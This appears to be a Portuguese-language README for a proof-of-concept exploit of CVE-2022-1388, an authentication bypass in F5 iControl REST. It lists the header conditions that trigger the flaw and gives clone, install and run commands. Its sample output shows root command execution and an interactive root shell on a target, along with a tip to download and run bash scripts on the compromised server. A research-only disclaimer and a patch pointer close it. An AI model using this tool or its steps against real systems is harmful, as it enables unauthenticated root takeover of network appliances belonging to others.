
POC melhorado para o CVE-2022-1388 que afeta múltiplos produtos F5.
POC aprimorado para CVE-2022-1388 que afeta múltiplos produtos F5.
Esta é uma versão aprimorada do Proof of Concept da Horizon3 para CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Também é uma reformulação completa com refatoração do trabalho PsychoSec por https://github.com/PsychoSec2/CVE-2022-1388-POC
LOL esse cara mencionou na seção Requirements um ponto como brains e tem +40% de código duplicado e absolutamente não escalável.
O bloco de sessão também foi deletado, pois não vejo muito sentido nele aqui.
Esta versão contém múltiplas melhorias, bem como um shell interativo para executar comandos remotos.
A análise técnica da causa raiz da vulnerabilidade da Horizon3 pode ser encontrada em seu blog: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Condições necessárias de uma requisição para explorar esta vulnerabilidade:
Connection header must include X-F5-Auth-Token
X-F5-Auth-Token header must be present
Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
Auth header must be set with the admin username and any password
git
pip3
python3
git clone https://github.com/iveresk/cve-2022-1388-iveresk-command-shell.git
cd cve-2022-1388-iveresk-command-shell
pip3 install -r requirements.txt
python3 cve-2022-1388-1veresk.py -h
Testando um Alvo:
python3 cve-2022-1388-1veresk.py.py -u -t https://192.168.0.221
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use a opção -s para executar um shell interativo. Shell Interativo:
python3 cve-2022-1388-1veresk.py -u -s https://192.168.0.221
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Dose not require the use of any reverse tcp connection or listeners.
Use 'exit' command to exit the shell...
Por favor, note que ao executar o shell interativo em um sistema não corrigido, certos comandos e sintaxes podem não funcionar ou não dar o resultado esperado. Isso provavelmente se deve ao uso de JSON nas requisições e respostas da API do servidor. Para evitar problemas, tente não usar caracteres comuns à sintaxe JSON, como aspas duplas, dois pontos, vírgulas, chaves e colchetes ao usar o shell interativo. Qualquer sintaxe JSON deve estar em formato estruturado.
Usar qualquer tipo de sintaxe JSON não estruturada dentro de um comando pode levar a uma requisição de API malformada ao servidor e pode resultar em: nenhuma saída de comando, nada sendo executado, ou pode expulsá-lo completamente do script Python. Isso infelizmente torna alguns comandos inutilizáveis. Para contornar esse problema, você pode escrever um script bash, baixá-lo para o servidor e executá-lo usando o shell interativo. Também não é possível mudar de diretório usando o comando 'cd'.
Em qualquer caso, você ainda deve ser capaz de obter saída básica de comandos. Se você não obtiver saída de comando, isso não significa que o comando não foi executado. No entanto, você terá que descobrir isso usando sua própria análise.
Atualize para a versão mais recente ou mitigue seguindo as instruções do Aviso de Segurança da F5
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.
Você pode entrar em contato comigo via Keybase para quaisquer detalhes.